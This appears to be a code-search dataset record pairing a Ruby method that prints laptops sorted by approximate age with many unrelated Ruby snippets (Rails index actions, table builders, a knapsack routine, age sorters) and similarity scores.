"def eob_claim_sidebar(claim)\n str = \"<b>Submitted Claim:</b><br />\"\n str += \"<table>\"\n str += \"<tr><td>Claim Number:</td><td>#{claim.claim_number}</td></tr>\"\n str += \"<tr><th>Copay:</th><td>#{number_to_currency(claim.insurance_session.copay_amount)}</td></tr>\"\n str += \"<tr><th>Lab Charges:</th><td>$</td></tr>\"\n str += \"<tr><td>---------</td></tr>\"\n str += \"<tr><td>CPT</td><td>Charge</td></tr>\" \n claim.iprocedures.each do |procedure|\n str += \"<tr><td>#{procedure.cpt_code}</td><td>#{number_to_currency(procedure.total_charge)}</td></tr>\"\n end\n str += \"<tr><th>Sub Total:</th><td>#{number_to_currency(claim.insurance_billed)}</td></tr>\"\n str += \"<tr><td>---------</td></tr>\"\n if !claim.insurance_session.ins_allowed_amount.blank? && claim.insurance_session.ins_allowed_amount > 0 \n str += \"<tr><th>Allowed Amt:</th><td>#{number_to_currency(claim.insurance_session.ins_allowed_amount)}</td></tr>\"\n else\n str += \"<tr><th>Charges:</th><td>#{number_to_currency(claim.insurance_session.charges_for_service)}</td></tr>\"\n end\n str += \"<tr><th>Ins Paid:</th><td>#{number_to_currency(claim.insurance_session.ins_paid_amount)}</td></tr>\"\n str += \"<tr><th>Bal Bill Paid:</th><td>#{number_to_currency(claim.insurance_session.bal_bill_paid_amount.blank? ? 0 : claim.insurance_session.bal_bill_paid_amount)}</td></tr>\"\n str += \"<tr><th>Waived Fee:</th><td>#{number_to_currency(claim.insurance_session.waived_fee.blank? ? 0 : claim.insurance_session.waived_fee)}</td></tr>\"\n str += \"<tr><th>Balance Due:</th><td>#{number_to_currency(claim.insurance_session.balance_owed)}</td></tr>\"\n str += \"</table>\"\n return str.html_safe\n end",
"def index\n @oportunities = Oportunity.all\n end",
"def index\n @employer_liability_items = EmployerLiabilityItem.all\n end",
"def ukp3(ukpi, ret_table = true)\n n = ukpi[:n]\n c = ukpi[:c]\n items = ukpi[:items].clone\n\n # step one\n g = Array.new(c+1, 0)\n d = Array.new(c+1, n-1)\n sort_items_by_profitability!(items)\n\n gy_col = nil\n dy_col = nil\n if ret_table then\n gy_col = Array.new(c+1) { [] }\n dy_col = Array.new(c+1) { [] }\n end\n\n ys = y_star(items, true)\n min_necessary_steps = ys < c+1 ? ys : c+1\n # step two to six\n min_necessary_steps.times do | y |\n if ret_table then\n gy_col[y] << g[y]\n dy_col[y] << d[y]\n end\n items.each_with_index do | item, j |\n if y - item[:w] >= 0 && j <= d[y - item[:w]] then\n v = g[y - item[:w]] + item[:p]\n if v > g[y] then\n g[y] = v\n d[y] = j\n if ret_table then\n gy_col[y] << g[y]\n dy_col[y] << d[y]\n end\n end\n end\n end\n end\n\n if min_necessary_steps != c+1 then\n extra_capacity = c - ys\n c1, a1 = items[0][:p], items[0][:w]\n qt_best_item_used = Rational(extra_capacity, a1).ceil\n space_used_by_best_item = qt_best_item_used*a1\n profit_generated_by_best_item = qt_best_item_used*c1\n g[c] = g[c-space_used_by_best_item] + profit_generated_by_best_item\n end\n\n table = \"y\\tg(y)\\t\\td(y)\\n\"\n if ret_table then\n (c+1).times do | y |\n table << \"#{y}\\t#{gy_col[y].join(' ')}\\t\\t#{dy_col[y].join(' ')}\\n\"\n end\n end\n \n if ret_table then\n table\n else\n g\n end\nend",
"def index\n @legal_spouses = LegalSpouse.all\n end",
"def show\n products()\n bills()\n today_bills()\n end",
"def index\n @opt10075s = Opt10075.all\n end",
"def list_fit_wit_workout(e)\n \"#{e.name} on #{e.date_accomplished}\"\n end",
"def index\n @loyalty_schemes = current_user.loyalty_schemes\n end",
"def available_recycle_space\n rows = []\n \n # puts \"Current: #{house.contact_name}\"\n current_house = house.contact_name\n # loop through to find all available recycling bin space\n self.houses.each do |house|\n if house.contact_name != current_house.contact_name\n rows << [house.house_number, house.street, house.contact_name, house.recycle_bin_space]\n end\n end\n # Drawing and styling the table\n table = Terminal::Table.new :rows => rows\n table = Terminal::Table.new :title => 'Available Recycling Bin Space'.magenta, :alignment => :center, \n :headings => ['House number'.green, 'Street name'.green, 'Contact'.green, 'Recycle'.green], :rows => rows\n\n puts table\n end",
"def index\n @profits = Profit.all\n end",
"def party_tallys\n {:ticket_tally=>{:single_ticket=>0, :bundle_tickets=>0},\n :food_tally=>{:candy_tally=>0, :fry_tally=>{:sm_fry_tally=>0,\n :lg_fry_tally=>0}}}\nend",
"def offenses; end",
"def offenses; end",
"def offenses; end",
"def add_isopropanol\n show do\n title \"Add isopropanol\"\n note \"Add isopropanol according to the following table. Pipette up and down to mix.\"\n warning \"Divide the isopropanol volume evenly between two 1.5 mL tubes #{operations.select{ |op| op.temporary[:is_divided]}.map{ |op| op.input(\"Gel\").item.id}} since you divided one tube's volume into two earlier.\" if operations.any?{ |op| op.temporary[:is_divided]}\n table operations.select{ |op| op.temporary[:iso_volume] > 0 }.start_table\n .input_item(INPUT)\n .custom_column(heading: \"Isopropanol (uL)\", checkable: true) { |op| op.temporary[:iso_volume]}\n .end_table\n end if operations.any? { |op| op.temporary[:iso_volume] != nil && op.temporary[:iso_volume] > 0}\n end",
"def list_tables\n data.keys\n end",
"def index\n @loyalty_schemes = current_user.loyalty_schemes\n end",
"def to_nutritions_table\n {\n meals: meals.map(&:to_nutritions_table_row),\n total: [[\n 'Total',\n decorate.kcal,\n decorate.carbs,\n decorate.protein,\n decorate.fat\n ]]\n }\n end",
"def index\n @tallies = Tally.all\n end",
"def index\n @coupon_histories = CouponHistory.join_tables\n end",
"def big_investors\n investors.select do |investor| \n investor.total_worth > 10000000000\n end\n end",
"def table \n table = data.map do |slot|\n slot.position.to_s.ljust(12) + slot.license_plate.ljust(19) + slot.color + \"\\n\" if slot\n end.join('')\n end",
"def spy_report_level_eight\n return [\"|\", get_list_defender_ressources,\"|\", get_list_defender_units,\"|\", get_list_defender_facilities]\n end",
"def print_laptops(fleet_type)\n simple_print(@snipe.laptops(fleet_type), %w(asset_tag serial name assigned_to.username), 'asset_tag', ['Asset Tag', 'Serial', 'Asset Name', 'Assigned To'])\n end",
"def standings\n placings.reject { |p| p.team.exhibition? }\n end",
"def get_data_flow_table\n data_flow_table = browser.table(:id, 'DataFlowTable').when_present(@time_out)\n end",
"def imc_tabla\n\t\tx = self.indice_masa_corporal\n\n\n\t\tif x < 18.5\n\t\t\treturn \"#{x} < 18.5 -- Bajo peso -- Delgado\"\n\t\telsif x >= 18.5 && x <= 24.9\n\t\t\treturn \"18.5 < #{x} < 24.9 -- Adecuado -- Aceptable\"\n\t\telsif x > 24.9 && x <= 29.9\n\t\t\treturn \"25.0 < #{x} < 29.9 -- Sobrepeso -- Sobrepeso\"\n\t\telsif x > 29.9 && x <= 39.9\n\t\t\treturn \"30.0 < #{x} < 39.9 -- Obesidad grado 1 -- Obesidad\"\n\t\telsif x > 39.9\n\t\t\treturn \" #{x} > 40 -- Obesidad grado 2 -- Obesidad\"\n\t\tend\n\n\tend",
"def index\n ok_request current_user, %w(user, opinion_polls, opinion_polls.time_slots)\n end",
"def table; end",
"def table; end",
"def table; end",
"def table; end",
"def index\n @loan_officers = LoanOfficer.all\n end",
"def tables\n [\n ]\n end",
"def index\n @pricewalkthroughs = Pricewalkthrough.all\n end",
"def idols_data\n\n\t\t[[ \"Last name\", \"First name\", \"Description\" ]] + [[ @view_context.number_to_currency(1), 2, 3] ] +\n\t\t@idols.map { |idol| [idol.last_name, idol.first_name, idol.talents.first.description] }\n\n\tend",
"def plans\n [Free, FreePlus, Pro, Growth, ProSpecial, ProComped, ProManaged, EliteSpecial, Elite, Custom0, Custom1, Custom2, Custom3].map(&:name)\n end",
"def pricing_cells(plans, l)\n plans.map{|plan|\n content = l.call(plan)\n content_tag(:td, content, class: [(current_user and current_user.plan == plan ? \"active\" : \"\"), (content == \"Y\" ? \"green\" : \"\")].join(\" \"))\n }.join.html_safe\n end",
"def index\n @strongholds = Stronghold.all\n end",
"def index\n @luteins = Lutein.all\n end",
"def ticket_sales_keys\n [\n [15, 30, 31, 'Premieres loges à 6 places', 91, 92],\n [22, 44, 45, 'Premieres loges à 5 places', 105, 106],\n [23, 46, 47, 'Secondes Loges à 4 places', 107, 108],\n [24, 48, 49, 'Secondes Loges à 3 places', 109, 110],\n [25, 50, 51, 'Troisièmes Loges à 6 places', 111, 112],\n [26, 52, 53, 'Troisièmes Loges à 4 places', 113, 114],\n [27, 54, 55, 'Troisièmes Loges à', 115, 116],\n [28, 56, 57, 'Petites Loges', 117, 118],\n [29, 58, 59, 'Petites loges à', 119, 120],\n [16, 32, 33, 'Galeries à 4 livres', 93, 94],\n [17, 34, 35, 'Premieres Places à 6 livres', 95, 96],\n [18, 36, 37, 'Secondes Places à 3 livres', 97, 98],\n [19, 38, 39, 'Troisièmes Places à 2 livres', 99, 100],\n [20, 40, 41, 'Parterre assis à 2 livres 8 s', 101, 102],\n [21, 42, 43, 'Paradis à 1 livre 10', 103, 104]\n ]\n end",
"def costs\n font \"Helvetica\"\n fill_color \"555555\"\n text \"Costs Log\", align: :center, size: 12, style: :bold\n fill_color \"000000\"\n table([\n [\"Consumable/Part name\", \"Individual price\", \"Quantity\", \"Total\"],\n [\"\",\"\",\"\",\"\"],\n [\"\",\"\",\"\",\"\"],\n [\"\",\"\",\"\",\"\"],\n [\"\",\"\",\"\",\"\"]\n ], :header => true,\n :position => :center,\n :column_widths => [212, 106, 106, 106],\n :cell_style => {:font => \"Helvetica\", :size => 12, :height => 35, :align => :center}\n )\n end",
"def index\n @unemployment_insurances = UnemploymentInsurance.all\n end",
"def fill_table_items(data)\n foodtrucks = []\n data.each do |truck|\n foodtrucks.push([truck[\"applicant\"],truck[\"location\"]])\n end\n return foodtrucks\n end",
"def layout_tables\n listings = @listings.sort { |a, b| a.price <=> b.price } \n increment = 200\n inc_count = 1\n\n results = [{\n price_limit: increment,\n listings: []\n }]\n\n listings.each do |listing|\n if listing.price <= increment*inc_count\n results[results.count-1][:listings].push(listing)\n else \n inc_count += 1 while increment*inc_count < listing.price\n results.push({\n price_limit: increment*inc_count,\n listings: [listing]\n })\n end\n end\n\n #Trim off first result item if there are no listings <= $200\n results = results.shift if(results[0][:listings].count == 0 && results.count > 1)\n\n return results\n end",
"def paid_expense_items\n paid_details.map{|pd| pd.expense_item }\n end",
"def index\n @opt10080s = Opt10080.all\n end",
"def available_bin_space(current_house)\n rows = [] \n # loop through the houses array, displaying available space in both kinds of bins\n self.houses.each do |house|\n if house.contact_name != current_house.contact_name\n rows << [house.house_number, house.street.name, house.contact_name, house.general_bin_space, house.recycle_bin_space, house.green_bin_space] \n end\n end \n \n # Drawing and styling the table\n table = Terminal::Table.new :rows => rows\n table = Terminal::Table.new :title => ' Your neighbours available bin space '.light_white.on_light_red, :alignment => :center, \n :headings => ['House number'.light_white, 'Street name'.light_white, 'Contact name'.light_white, 'General'.red, 'Recycle'.light_yellow, 'Green'.green], :rows => rows, :style => {:width => 100, :padding_left => 1, :border_x => \"=\"}\n puts table\n end"
] |
[
"0.5743786",
"0.5688127",
"0.5435192",
"0.5398771",
"0.5393867",
"0.5357076",
"0.52888983",
"0.5271688",
"0.523566",
"0.5212356",
"0.5120372",
"0.51030827",
"0.50963885",
"0.50513303",
"0.50475675",
"0.50425494",
"0.5040569",
"0.50213844",
"0.5014964",
"0.50043285",
"0.499424",
"0.49729937",
"0.4942604",
"0.494225",
"0.49405155",
"0.4935059",
"0.4927887",
"0.49277866",
"0.4923803",
"0.49123284",
"0.49105617",
"0.49105617",
"0.49093303",
"0.49061492",
"0.48952675",
"0.4885325",
"0.48831448",
"0.48767546",
"0.48767546",
"0.48740214",
"0.48720053",
"0.48691073",
"0.48690042",
"0.4868619",
"0.4868619",
"0.48678285",
"0.4867091",
"0.48661065",
"0.48508722",
"0.48473206",
"0.4840211",
"0.48390415",
"0.483456",
"0.48319647",
"0.48310748",
"0.4827906",
"0.48276368",
"0.48201022",
"0.48199576",
"0.4818931",
"0.4809457",
"0.4807876",
"0.48068446",
"0.48046395",
"0.48046395",
"0.48046395",
"0.48042956",
"0.48024487",
"0.48012275",
"0.48000214",
"0.4796492",
"0.4783042",
"0.47749585",
"0.47669026",
"0.4766172",
"0.4761457",
"0.4761156",
"0.47489735",
"0.47469652",
"0.47418186",
"0.4740077",
"0.4740077",
"0.4740077",
"0.4740077",
"0.47400603",
"0.47394195",
"0.47381076",
"0.47379896",
"0.4735544",
"0.47343308",
"0.47336313",
"0.47281808",
"0.47237745",
"0.47215346",
"0.47174096",
"0.47154552",
"0.4713001",
"0.47112113",
"0.4709228",
"0.47082806"
] |
0.6875968
|
0
|
Return a table of laptops sorted by age. Age is approximate. This method does not calculate the intricacies of leap years, etc.
|
def print_laptops_by_age(fleet_type, older_than_years = 0.0)
laptops = @snipe.laptops(fleet_type)
older_than_years = older_than_years.to_f
data = []
# Do not include these very old assets if filtering by age
if older_than_years == 0.0
# Format assets that have word based asset_tags, such as 'oldspare03'
data += laptops.find_all {|i| asset_tag_type(i['asset_tag']) == 'word-based' }
.sort_by {|i| i['asset_tag'] }
.map {|i| ['---', '---', i['asset_tag'], i['serial'], i['name']] }
# Format assets that are so old the asset_tags increment from '000000001' and up
data += laptops.find_all {|i| asset_tag_type(i['asset_tag']) == 'incremental' }
.sort_by {|i| i['asset_tag'] }
.map {|i| ['---', '---', i['asset_tag'], i['serial'], i['name']] }
end
# Format assets that have date-based asset_tags (default asset_tag structure)
date_asset_tags = laptops.find_all {|i| asset_tag_type(i['asset_tag']) == 'date-based' }
# Filter date-based asset_tags based on approx age
if older_than_years != 0.0
date_asset_tags = date_asset_tags.find_all {|i| calculate_asset_age(i['asset_tag']) >= older_than_years }
end
data += date_asset_tags.sort_by {|i| i['asset_tag'] }
.map {|i| [Date.parse(i['asset_tag']).strftime('%Y-%m-%d'), calculate_asset_age(i['asset_tag']), i['asset_tag'], i['serial'], i['name']] }
@printer.print_table(data, ['Purchase Date', 'Approx Age', 'Asset Tag', 'Serial', 'Asset Name'])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def sorted_by_age(people)\nend",
"def index\n @laws = Law.order(cached_votes_up: :desc).each\n end",
"def sort_tenants_by_age tenants\n return tenants.sort_by { |tenant| tenant.age }\n end",
"def elements_sorted_by_experience\n collection.sort_by{|person| person[:years_experience]}\n end",
"def placings\n score_ordering = low? ? :asc : :desc\n\n scores.order(disqualified: :asc)\n .order(participated: :desc)\n .order(tier: :asc)\n .order(score: score_ordering)\n .order(tiebreaker_place: :asc)\n end",
"def rules # :nodoc:\n # Rules should always be returned sorted with oldest first.\n @rules.sort! { |a, b| b[:age] <=> a[:age] }\n end",
"def calculate_and_build_metlife_premium_tables\n (20..65).each do |metlife_age|\n @metlife_age = metlife_age\n key = \"#{@rate[:plan_id]},#{@rate[:effective_date].to_date.year}\"\n rating_area = @rate[:rate_area_id]\n @results[key] << {\n age: metlife_age,\n start_on: @rate[:effective_date],\n end_on: @rate[:expiration_date],\n cost: calculate_metlife_cost,\n rating_area: rating_area\n }\n end\n end",
"def age_ranges_with_active_filter\n\t\tage_ranges_without_active_filter.select(&:active).sort_by(&:sort_index)\n\tend",
"def age\n cats = Cat.all\n ages = []\n\n cats.each do |cat|\n ages << Time.now.year - cat.birth_date.year\n end\n ages\n end",
"def lip\n grtotal = 0\n sum = 0\n\t\t#itera en las dos listas a la vez para poder calcular las \n #lipidos dependiendo de la cantidad y tambien suma\n #todas las cantidades para poder calcular el porcentaje\n #despues\n @lista.zip(@listagr).each do |normal, gr|\n grtotal += gr\n cant = gr/1000.0\n sum += normal.lip*cant\n end\n (sum*100)/grtotal\n end",
"def bucket_sort\n buckets = {}\n #Ideal for known and uniformly distributed range. Sort age of employees for eg.:\n @array.each do |age|\n bucket = age/10\n buckets[bucket] ||= []\n buckets[bucket] << age\n end\n\n result = []\n for i in 0..20\n arr = buckets[i]\n puts \"i=#{i}, buckets[i]=#{arr}\"\n puts \"result=#{result}, sorted value=#{insertion_sort(arr)}\" if arr\n result << insertion_sort(arr) if arr && arr != []\n end\n @array = result.flatten\n end",
"def my_hash_splitting_method(hash, age)\n under_age = []\n over_age = []\n hash.each do |key, value|\n value <= age ? over_age << [key, value] : under_age << [key, value]\n end\n [over_age, under_age]\nend",
"def my_hash_sorting_method(source)\n source.sort_by { |pet, age| age }\nend",
"def human_years\n age * DOG_YEARS\n end",
"def human_years\n age * DOG_YEARS\n end",
"def human_years\n age * DOG_YEARS\n end",
"def human_years\n age * DOG_YEARS\n end",
"def cat_years\n #en este metodo calculamos la edad del gato.\n @age * CAT_YEARS\n end",
"def index\n @people = Person.all\n @people = @people.sort_by {|person| person.wins - person.loses }.reverse\n end",
"def state_dist\n senator = Legislator.select(\"state\").where(\"title = 'Sen'\").where(\"in_office = '1'\").group(\"state\").count\n rep = Legislator.select(\"state\").where(\"title = 'Rep'\").where(\"in_office = '1'\").group(\"state\").count\n\n rep = rep.sort_by {|key,value| value}.reverse!\n\n\n rep.each do |key, value|\n \"#{key}: \" \"#{senator[key]} Senators, #{value} Representative(s)\"\n end\n\nend",
"def to_table\n mortadella = Mortadella::Horizontal.new headers: %w[NAME LOCATION]\n @tags.keys.sort.each do |tag_name|\n mortadella << [tag_name, @tags[tag_name].to_sentence]\n end\n mortadella.table\n end",
"def rules_for(table)\n by_string, ages = rules_by_string(table, [])\n by_regexp, ages = rules_by_regexp(table, ages)\n for_all, ages = rules_for_all(table, ages)\n\n valid_rules = by_string + by_regexp + for_all\n valid_rules.sort { |a, b| b[:age] <=> a[:age] }\n end",
"def human_years \n age * DOG_YEARS\n end",
"def lo_hi_age(life_stage)\n AGE_RE.match(life_stage) or warn \"Funny life_stage #{life_stage.inspect}\"\n lo_age, hi_age, yr = [Float($1), ($2==\"up\" ? 120.0 : Float($2)), $3]\n lo_age, hi_age = lo_age/12, hi_age/12 if (yr == 'mo')\n [lo_age, hi_age]\n end",
"def puppy_golden_age(years_array)\n golden_index = []\n for idx in 0...years_array.length\n if years_array[idx].to_i > years_array[idx+1].to_i\n golden_index.push(idx) #Creates an array with index with greatest years between 2 consecutive years\n end\n end\n [golden_index[0], golden_index[(golden_index.length - 1)]]\n end",
"def display_pediatric_age(age)\n return t('patients.unknown_age') unless age\n\n pediatric_age = age.parts\n\n years = t('patients.year', count: pediatric_age[:years]) if pediatric_age[:years]\n months = t('patients.month', count: pediatric_age[:months]) if pediatric_age[:months]\n weeks = t('patients.week', count: pediatric_age[:weeks]) if pediatric_age[:weeks]\n days = t('patients.day', count: pediatric_age[:days]) if pediatric_age[:days]\n\n [years, months, weeks, days].compact.join(' ')\n end",
"def years_to_retirement\n self.persons.map { |p| p[:retirement_age] - p[:age] }.min\n end",
"def sort_and_print_by_2(o, hash, tag)\n hash.each do |hsh|\n sum = 0\n if tag == \"age\"; hsh[1] = consolidate_age(hsh[1]) end\n hsh[1].each{|k, v| sum += v}\n o.write(\"\\n#{hsh[0]}\\n\")\n get_and_print_percentage(hsh[1], sum, o)\n end\nend",
"def busy_range\n [\n engineering_normal_salary_items,\n engineering_normal_with_tax_salary_items,\n engineering_big_table_salary_items,\n engineering_dong_fang_salary_items\n ].flat_map{|items| items.map{|item| item.salary_table.range} }.sort\n end",
"def lip\n\t\tsuma = 0\n\t\tx = 0\n\t\tcantidad = 0\n\n\t\t@alimentos.each do |i|\n\t\t\tcantidad = @gramos[x].valor / (i.proteinas + i.lipidos + i.carbohidratos)\n\t\t\tsuma += i.lipidos * cantidad\n\t\t\tx += 1\n\t\tend\t\n\n\t\treturn ((suma * 100) / gramos_total).round(2)\n\tend",
"def stories_sorted_by_growth_rate\n stories = @stories.values.sort_by do |story|\n story.growth_rate\n end\n stories.reverse\n end",
"def ordered_by_qualifications(candidates)\n ordered_by_qualification = [] #creates an empty array for the candidates\n years_of_experience = candidates.sort { |a, b| [a[:years_of_experience], a[:github_points]] <=> [b[:years_of_experience], b[:github_points]] }\n ordered_by_qualification << years_of_experience.reverse\n return ordered_by_qualification\nend",
"def order_years(item)\n return item.sort_by{|k, v| k.to_i}\n end",
"def index_by_age_sorted_by_price\n @age = Age.find(params[:age_id])\n @gifts = @age.gifts\n render json: @gifts, include: :ages, status: :ok\n end",
"def school_years\n load_school_years\n @school_years.sort { |s1, s2| s1.start_date.year <=> s2.start_date.year } \n end",
"def adult_passengers\n passengers.where('age>= 18')\n end",
"def selects_all_bears_names_and_ages_that_are_alive_and_order_youngest_to_oldest\n \"SELECT name, age FROM bears WHERE alive = 1 ORDER BY age ASC\"\nend",
"def best_lap\n best_lap = []\n self.voltas.each { |lap_num, lap_stat| best_lap << [lap_num, lap_stat] }\n best_lap.sort! {|x,y| x[1][:tempo] <=> y[1][:tempo]}\n best_lap = best_lap[0]\n return best_lap\n end",
"def sort_trophies_by_priority(trophies)\n #number of trophies per row\n per_row_small = 16\n per_row_medium = 4\n per_row_large = 1\n\n\n rows = []\n per_row = per_row_small + per_row_medium + per_row_large\n num_rows = (trophies.size / per_row.to_f).ceil\n (1..num_rows).each {rows << {:far_left => [],:left => [],:center => [],:right => [],:far_right => []}}\n i = 0\n trophies.each do |trophy|\n #fill center first\n if i < num_rows*per_row_large\n rows[i/per_row_large][:center] << trophy\n #fill left and right rows next\n elsif i < (num_rows*per_row_medium+num_rows*per_row_large)\n j = i - num_rows\n if j.even?\n rows[j/per_row_medium][:left] << trophy\n else\n rows[j/per_row_medium][:right] << trophy\n end\n #fill far left and far right rows next\n elsif i < (num_rows* per_row_small + num_rows*per_row_medium+num_rows)\n j = i - num_rows*per_row_medium - num_rows\n if j.even?\n rows[j/per_row_small][:far_left] << trophy\n else\n rows[j/per_row_small][:far_right] << trophy\n end\n end\n i = i + 1\n end\n rows\n end",
"def my_hash_sorting_method(source)\n source.sort_by { |name, age| age }\nend",
"def layout_tables\n listings = @listings.sort { |a, b| a.price <=> b.price } \n increment = 200\n inc_count = 1\n\n results = [{\n price_limit: increment,\n listings: []\n }]\n\n listings.each do |listing|\n if listing.price <= increment*inc_count\n results[results.count-1][:listings].push(listing)\n else \n inc_count += 1 while increment*inc_count < listing.price\n results.push({\n price_limit: increment*inc_count,\n listings: [listing]\n })\n end\n end\n\n #Trim off first result item if there are no listings <= $200\n results = results.shift if(results[0][:listings].count == 0 && results.count > 1)\n\n return results\n end",
"def ukp2(ukpi, ret_table = true)\n n = ukpi[:n]\n c = ukpi[:c]\n items = ukpi[:items].clone\n\n # step one\n g = Array.new(c+1, 0)\n d = Array.new(c+1, n-1)\n sort_items_by_profitability!(items)\n\n gy_col = nil\n dy_col = nil\n if ret_table then\n gy_col = Array.new(c+1) { [] }\n dy_col = Array.new(c+1) { [] }\n end\n\n # step two to six\n (c+1).times do | y |\n if ret_table then\n gy_col[y] << g[y]\n dy_col[y] << d[y]\n end\n items.each_with_index do | item, j |\n if y - item[:w] >= 0 && j <= d[y - item[:w]] then\n v = g[y - item[:w]] + item[:p]\n if v > g[y] then\n g[y] = v\n d[y] = j\n if ret_table then\n gy_col[y] << g[y]\n dy_col[y] << d[y]\n end\n end\n end\n end\n end\n\n table = \"y\\tg(y)\\t\\td(y)\\n\"\n if ret_table then\n (c+1).times do | y |\n table << \"#{y}\\t#{gy_col[y].join(' ')}\\t\\t#{dy_col[y].join(' ')}\\n\"\n end\n end\n \n if ret_table then\n table\n else\n g\n end\nend",
"def age_verifications\n find_all_age_verifications\n @age_verifications.values\n end",
"def template_to_age_range\n return {\n 'DEER Pre-1975' => 'Before 1978',\n 'DEER 1985' => '1978-1992',\n 'DEER 1996' => '1993-2001',\n 'DEER 2003' => '2002-2005',\n 'DEER 2007' => '2006-2009',\n 'DEER 2011' => '2010-2013',\n 'DEER 2014' => '2014',\n 'DEER 2015' => '2015-2016',\n 'DEER 2017' => '2017 or Later'\n }\n end",
"def get_planet_names_sorted_by_size_decreasing()\n planets_sorted_by_size = @planets.sort_by { |planet| planet.diameter }\n planets_sorted_by_size_decreasing = planets_sorted_by_size.reverse\n planets_sorted_by_size_decreasing.map { |planet| planet.name }\n\nend",
"def years\n case @age\n when 1..5 then puts \"You are a baby\"\n when 6..12 then puts \"You are a child\"\n when 13..21 then puts \"You are a young people\"\n when 22...35 then puts \"You are adult\"\n end\n end",
"def print_student_list\n @students.sort_by! { |hash| hash[:cohort] }\n @students.each.with_index(1) do |student, index|\n puts \"#{index}. #{student[:name]} (#{student[:cohort]} cohort)\".center(100)\n end\nend",
"def selects_all_bears_names_and_ages_that_are_alive_and_order_youngest_to_oldest\n 'SELECT bears.name, bears.age\n FROM bears WHERE alive = 1\n ORDER BY age'\nend",
"def display_stories stories\n #Double the score for each title with \"cat\" or \"dog\" in the title.\n cat_dog(stories)\n\n stories.sort_by! { |story| story[:score] }\n\n stories.reverse!\n\n stories.each do |story|\n # \"Title: title, Category: category, Upvotes: score\"\n puts \"Title: #{story[:title]}, Category: #{story[:category]}, Upvotes: (#{story[:score]})\"\n end\nend",
"def animals_older_than(age)\n @inventory.find_all { |animal| animal.age.to_i > age }\n end",
"def ordered_by_qualifications(candidates)\n\n candidates.sort_by{ |candidate| [-candidate[:years_of_experience], -candidate[:github_points]] }\n\nend",
"def table\n words.scan\n bigrams.scan\n\n list = words.top_weighted(max)\n\n if sort\n list = list.sort_by{ |w| w.to_s }\n end\n\n index = {}\n list.each_with_index do |w, i|\n index[w.spelling] = i\n end\n\n tbl = []\n\n list.each_with_index do |w, i|\n s = ilog(words.weighted_probability(w))\n\n blist = bigrams.matching_bigrams(w.to_s)\n blist = blist.sort_by{ |b| bigrams.score(b) }.reverse\n blist = blist.map{ |b| b.word2 }.uniq\n\n b = []\n blist.each do |w|\n i = index[w]\n b << i+1 if i\n break if b.size == num\n end\n\n # ensure there are at least the required number of bigrams\n until b.size >= num\n b << 0\n end\n\n tbl << [s, w, b]\n end\n\n return tbl\n end",
"def getTop10AwesomePeeps\n @persons.sort!\n return @persons[-10..-1]\n end",
"def best_laps\n best_laps = []\n RACER_RECORDS.each {|racer| best_laps << [ racer.piloto, racer.best_lap ]}\n @view.display_best_laps(best_laps)\n end",
"def age_groups\n get_endpoint(Bestsellers::AgeGroup.path).map{|g|\n Bestsellers::AgeGroup.new(g)\n }\n end",
"def addresses(tenantArr)\n newArray = tenantArr.sort_by {|tenant| tenant[:age]}\n newArray.each do |tenant|\n #puts tenant[:age]\n end\n end",
"def age!\r\n\t\tp ages\r\n\tend",
"def puppy_golden_age(arr)\r\n puppies = 0 # set the var for puppies born for later comparison\r\n years = [] # set empty array to later push the results of the comparison\r\n\r\n arr.each_with_index do |x, i| # looping through entire array. could have used #each_index without x.\r\n for i2 in i + 1...arr.length # set up loop for i2 which is needed to compare all elements in array above i1 and for return of second index. i + 1 protects against the return of the same index twice. see written test 3.\r\n if puppies < arr[i..i2].reduce(&:+) # comparison of the value puppies with the sum of the elements in arr where index > i.\r\n puppies = arr[i..i2].reduce(&:+) # if the net gain between these two indices is > the previous value for puppies, the new gain becomes the value\r\n years = [i, i2] # sets the indicies for the larger gain compared here: puppies < arr[i..i2].reduce(&:+)\r\n end\r\n end\r\n end\r\n\r\n years # when the loop is complete, the largest gain and their indicies will be set for the variables puppies/ years. question asks for the index of the years.\r\nend",
"def article_age_in_hours title\n $_time_ ||= Time.now.to_i\n fullrow = get_full_row title\n return 10000 unless fullrow\n age = fullrow[6].to_i\n hours = (($_time_ - age)/3600).to_i\n return hours\nend",
"def get_over_age tenants, age\n return tenants.select { |tenant| tenant.age > age }\n end",
"def years_alive(birthday)\n #days in the months array\n days_in_months=[31,28,31,30,31,30,31,31,30,31,30,31]\n \n #current date \n the_time=Time.now.to_s.split(\" \")\n date=the_time[0].split(\"-\")\n \n #save each part of the date as a separate variable\n year=date[0].to_f\n month=date[1].to_f\n day=date[2].to_f\n \n #person's date\n user_date=birthday.split(\"/\")\n user_year=user_date[2].to_f\n user_month=user_date[0].to_f\n user_day=user_date[1].to_f\n\n #additional days to years_age(years_age is expressed in days)\n i=0 #counter\n extra_days=0\n days_in_months.each do |days|\n i+=1\n if i < month\n extra_days+=days\n end\n end\n \n #people who haven't had their birthday yet this year\n if user_month > month || (user_month==month && user_day > day)\n years_age = (year - user_year - 1)*365\n k=0\n more_days=0\n days_in_months.each do |days|\n k+=1\n if k > user_month\n more_days+=days\n end\n end\n days_age = extra_days+day+more_days+days_in_months[user_month-1]-user_day\n #people who have had their birthday this year\n else \n years_age=(year - user_year)*365\n j=0\n less_days=0\n subtract_days=days_in_months.each do |month|\n j+=1\n if user_month > j \n less_days+=month\n end\n end\n days_age=extra_days+day-less_days-user_day\n puts days_age\n end\n #factoring in leap years\n leap_years=((years_age/4)/365).floor\n #total of everything\n days_age+years_age+leap_years\nend",
"def query_num_of_legislators_by_states\n\thash1 = Representative.group(:state).count\n\tarr = hash1.to_a\n\thash2 = Senator.group(:state).count \n\tarr.sort_by! { |arr_within_arr| arr_within_arr[1] + hash2[arr_within_arr[0]] } # looks at the num of sen & rep to sort\n\tarr.reverse!\n\tarr.each do |a| \n\t\tstate = a[0]\n\t\tputs \"#{state}: #{hash2[state]} Senators, #{a[1]} Representative(s)\"\n\tend\nend",
